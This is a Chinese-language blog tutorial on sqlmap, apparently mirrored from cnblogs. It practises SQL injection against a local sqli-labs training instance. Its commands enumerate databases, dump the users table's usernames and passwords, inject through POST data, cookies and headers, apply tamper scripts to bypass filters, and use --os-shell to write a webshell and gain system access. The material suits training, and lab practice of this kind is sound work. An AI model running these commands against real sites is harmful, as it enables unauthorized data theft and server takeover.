zoukankan      html  css  js  c++  java
  • sqlmap 手册

     sqlmap 使用

    需要安装python2的环境

    使用方法:

    用最基础的get型注入开始

    1、当我们发现注入点的时候,

    python2 sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1"

    2、查看所有的数据库

    python2 sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --dbs

    3、查看当前使用的数据库

    python2 sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --current-db

    4、发现使用的是security数据库,接下来对此数据库进行查询

    python2 sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --tables -D "security"

    5、查出所有表以后,对users表的列名进行查询

    python2 sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --columns -T "users" -D "security"

    6、users表中的列名已经知道了,可以直接查出所有数据

    python2 sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --dump -C "id,username,password" -T "users" -D "security"



    在“用户”-》“.sqlmap”-》“output”可看到查询结果

    SQLMAP常见用法

    1、get请求

    python2 sqlmap.py -u "urls" --dbms=mysql  --batch --level 3 --risk 3

    --dbms=mysql 指定数据库为mysql 

    --batch 不用点击,一路自动默认

    --level 3 level指的是payload的强度,分为5挡,通常使用3级以上会有更多的payload

    --risk 3 risk指的是风险等级,一般有3挡,主要也是跟攻击的强度有关



    2、post请求

    第一种:python2 sqlmap.py -u "urls" --data="user=admin&pass=pass"

    以sqli-lab 11关为例:

    python2 sqlmap.py -u "http://192.168.100.200:8004/Less-11/index.php" --data="uname=admin&passwd=admin" --dbms=mysql --batch

    第二种:将post数据包抓下来后存放到sqlmap的工作目录下,命名为"1.txt"

    python2 sqlmap.py -r "1.txt"

    以sqli-lab 11关为例:

    python2 sqlmap.py -r "1.txt" --dbms=mysql --batch



    3、http头的注入

    http头注入就要用到--level 3,头注入的要领就是提前声明头部信息。

    cookie:

    python2 sqlmap.py -u "http://192.168.100.200:8004/Less-20/index.php" --cookie="uname=admin" --level 3 --dbms=mysql  --batch

    这里的--cookie只是设置我这个sqlmap脚本去请求的cookie值,只有加了--level 3之后才会对cookie地方进行注入

    referer,user-agent其他的http:

    原理和用法都跟cookie相同,参数不同而已,--referer= ,--user-agent=

    最省力的方式就是讲要注入的数据包抓包存放到sqlmap工作文件夹内,在要注入的地方后面加上*号,然后再使用-r像post注入一样的用法



    4、tamper使用

    tamper是sqlmap中内置的一些绕过防护过滤的一些字符转换脚本

    python2 sqlmap.py -u "urls" --tamper=""

    tamper的路径在sqlmap amper下。tamper是死的,人是活的,要根据实际情况灵活应用。



    5、写入webshell

    当发现注入点,并且注入点可写的情况下

    以less-1为例:

    1、获取注入点 :

    python2 sqlmap.py -u "http://192.168.100.200:8004/Less-1/?id=1" --dbms=mysql --batch

    2、查看当前用户:

    python2 sqlmap.py -u "http://192.168.100.200:8004/Less-1/?id=1" --dbms=mysql --current-user

    3、确认当前用户是否DBA(数据库管理员)权限:

    python2 sqlmap.py -u "http://192.168.100.200:8004/Less-1/?id=1" --dbms=mysql --is-dba

    4、确认是DBA后,开始执行木马写入:

    python2 sqlmap.py -u "http://192.168.100.200:8004/Less-1/?id=1" --dbms=mysql --os-shell

    接下来会选择脚本语言以及写入的路径,选择好后就可以直接获得系统权限。

  • 相关阅读:
    iOS UI基础05
    iOS UI基础04
    document.referrer
    节点
    特殊符号编码
    margin和padding的百分比
    XSS要点总结
    页面加载的过程
    函数声明和函数表达式
    jpg和png
  • 原文地址:https://www.cnblogs.com/kyooo/p/13959776.html
Copyright © 2011-2022 走看看